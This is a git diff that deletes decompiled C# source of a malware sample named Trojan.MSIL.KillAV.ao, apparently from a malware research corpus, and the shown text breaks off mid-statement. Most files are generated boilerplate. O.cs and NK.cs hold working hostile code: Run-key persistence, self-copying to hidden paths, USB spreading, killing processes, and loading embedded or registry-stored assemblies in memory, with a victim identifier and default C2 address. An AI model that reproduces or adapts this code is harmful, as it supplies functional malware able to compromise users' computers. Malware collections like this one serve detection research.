a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs deleted file mode 100644 index e07f2591..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyComputer -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace nv.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs deleted file mode 100644 index 6a5a9be1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MyProject.cs +++ /dev/null @@ -1,189 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MyProject -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace nv.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs deleted file mode 100644 index e2a4cae4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MySettings -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace nv.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs deleted file mode 100644 index 269755cc..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.MySettingsProperty -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace nv.My -{ - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - [HideModuleName] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs deleted file mode 100644 index 7af150de..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/My/Resources/Resources.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.My.Resources.Resources -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace nv.My.Resources -{ - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - public sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - public static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) nv.My.Resources.Resources.resourceMan, (object) null)) - nv.My.Resources.Resources.resourceMan = new ResourceManager("nv.Resources", typeof (nv.My.Resources.Resources).Assembly); - return nv.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - public static CultureInfo Culture - { - get => nv.My.Resources.Resources.resourceCulture; - set => nv.My.Resources.Resources.resourceCulture = value; - } - - public static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(nv.My.Resources.Resources.ResourceManager.GetObject(nameof (P), nv.My.Resources.Resources.resourceCulture)); - - public static string Q => nv.My.Resources.Resources.ResourceManager.GetString(nameof (Q), nv.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs deleted file mode 100644 index 15093577..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/NK.cs +++ /dev/null @@ -1,79 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.NK -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; - -namespace nv -{ - [StandardModule] - public sealed class NK - { - public static string Key = "HKEY_CURRENT_USER\\Software\\nKey"; - public static Registry R; - - public static void SetValue(ref string N, ref string V) => Registry.SetValue(NK.Key, N, (object) V, RegistryValueKind.String); - - public static string GetValue(ref string N, ref string DF) - { - string Left = Conversions.ToString(Registry.GetValue(NK.Key, N, (object) null)); - return Operators.CompareString(Left, (string) null, false) == 0 ? DF : Left; - } - - public static void DeleteValue(ref string N) - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - string name = NK.Key.Replace(Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""); - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(N); - } - - public static void CLEAR() - { - string su = O.SU; - O.SU = "*"; - string name = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; - if (Operators.CompareString(su, "*", false) != 0) - { - try - { - Registry.LocalMachine.OpenSubKey(name, true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Registry.CurrentUser.OpenSubKey(name, true).DeleteValue(su); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - Array Instance = (Array) Strings.Split(NK.Key, "\\"); - Registry.CurrentUser.OpenSubKey("Software", true).DeleteSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) checked (Instance.Length - 1) - }, (string[]) null)), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs deleted file mode 100644 index ae870d1e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a/O.cs +++ /dev/null @@ -1,1409 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: nv.O -// Assembly: nv, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: D9D26A5E-13B6-4DC4-B014-052E2F5FE723 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.KillAV.ao-71e232c7af7ac92395beadd9c8a364c7e48a0978a010598a9978211f4ebd3b5a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.VisualBasic.MyServices; -using Microsoft.Win32; -using nv.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; - -namespace nv -{ - [StandardModule] - public sealed class O - { - public static bool[] Bo = new bool[7]; - public static string[] ST = new string[6]; - public static string en; - public static int ms; - [AccessedThroughProperty("WC")] - private static sk _WC; - public static string Ai; - public static string SU; - public static string Uo; - public static string sp; - public static string mU; - public static string FR; - private static int c2; - private static int cc; - private static int c0; - public static Mutex jm; - [AccessedThroughProperty("B")] - private static BackgroundWorker _B; - public static Process fj; - private static string u; - private static string z; - - static O() - { - O.WC = new sk(); - O.SU = "*"; - O.Uo = "*"; - O.sp = "*"; - O.mU = "*"; - O.B = new BackgroundWorker(); - O.fj = new Process(); - O.u = O.Fp() + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - O.z = O.DEB(ref nv.My.Resources.Resources.Q.Split('.')[0]).Replace("NJP", O.ep()).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public static sk WC - { - get => O._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - sk.O1EventHandler o1EventHandler = new sk.O1EventHandler(O.W3); - sk.O2EventHandler o2EventHandler = new sk.O2EventHandler(O.W2); - sk.O0EventHandler o0EventHandler = new sk.O0EventHandler(O.W0); - if (O._WC != null) - { - O._WC.O1 -= o1EventHandler; - O._WC.O2 -= o2EventHandler; - O._WC.O0 -= o0EventHandler; - } - O._WC = value; - if (O._WC == null) - return; - O._WC.O1 += o1EventHandler; - O._WC.O2 += o2EventHandler; - O._WC.O0 += o0EventHandler; - } - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - O.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) File.ReadAllBytes(O.ep()); - int num1 = checked (Instance1.Length - 400); - int num2 = checked (Instance1.Length - 1); - int num3 = num1; - while (num3 <= num2) - { - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "***", false) == 0) - num4 = checked (num3 + 1); - int num5; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) checked (num3 - 2) - }, (string[]) null)))), "^^^", false) == 0) - num5 = checked (num3 - 3); - if (num4 > 0 & num5 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num3 - }, (string[]) null))); - checked { ++num3; } - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, checked (array1.Length - 3)); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local1 = ref flag; - byte[] bytes = O.ZIP(array2, ref local1); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), O.ST[1]); - O.ST[5] = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - O.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - O.Ai = "*"; - } - else - { - O.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(O.Ai, O.ep(), false) != 0) - { - try - { - if (File.Exists(O.Ai)) - File.Delete(O.Ai); - File.Copy(O.ep(), O.Ai, true); - try - { - File.SetAttributes(O.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = O.Ai; - string s = O.ep(); - string arguments = "Kill@" + O.ENB(ref s); - Process.Start(ai, arguments); - } - else - Process.Start(O.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - O.Bo[6] = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - O.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => O.USb(Conversions.ToString(a0)))).Start((object) O.Uo); - O.sp = "(" + O.Uo + ")USB,"; - } - O.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(O.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.jm = new Mutex(true, O.mU); - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - NK.Key = Conversions.ToString(Operators.ConcatenateObject((object) "HKEY_CURRENT_USER\\Software\\", NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - string[] st = O.ST; - string str1 = "vname"; - ref string local2 = ref str1; - Array Instance3 = Instance2; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num6 = 7; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num6; - objArray2[0] = (object) local3; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null)); - ref string local4 = ref str2; - string str3 = NK.GetValue(ref local2, ref local4); - NewLateBinding.LateIndexSetComplex((object) Instance2, new object[2] - { - (object) num6, - (object) str2 - }, (string[]) null, true, false); - st[2] = str3; - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false)) - return; - new Thread(new ThreadStart(O.fwb)).Start(); - } - - public static void fwb() - { - try - { - byte[] p = nv.My.Resources.Resources.P; - bool flag = false; - ref bool local1 = ref flag; - byte[] numArray = O.ZIP(p, ref local1); - ref byte[] local2 = ref numArray; - string str1 = "P.V"; - ref string local3 = ref str1; - string str2 = "main"; - ref string local4 = ref str2; - object obj = (object) null; - ref object local5 = ref obj; - O.inv(ref local2, ref local3, ref local4, ref local5); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void x(byte[] B) - { - try - { - byte[] B1 = B; - bool flag = false; - ref bool local = ref flag; - Assembly.Load(O.ZIP(B1, ref local)).EntryPoint.Invoke((object) null, new object[0]); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - byte[] B2 = B; - bool flag = false; - ref bool local = ref flag; - Assembly.Load(O.ZIP(B2, ref local)).EntryPoint.Invoke((object) null, new object[1] - { - (object) new string[0] - }); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - } - - [STAThread] - public static void main() - { - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - Process[] processesByName = Process.GetProcessesByName("wscript"); - int index = 0; - while (index < processesByName.Length) - { - Process process = processesByName[index]; - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = O.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] parameter = (byte[]) MyProject.Computer.Registry.CurrentUser.GetValue("p161", (object) new byte()); - if (parameter != null) - { - Thread thread = new Thread((ParameterizedThreadStart) (a0 => O.x((byte[]) a0))); - thread.Start((object) parameter); - do - { - Thread.Sleep(1); - } - while (thread.IsAlive); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - O.ST[0] = Interaction.Environ("temp") + "\\"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - O.ST[1] = "^:^"; - O.ST[2] = "VmljdGlt"; - O.ST[3] = "X"; - O.ST[4] = "1.6.1"; - O.ST[5] = "127.0.0.1:7"; - try - { - O.en = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - O.en = "!"; - ProjectData.ClearProjectError(); - } - try - { - O.ST[3] = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if 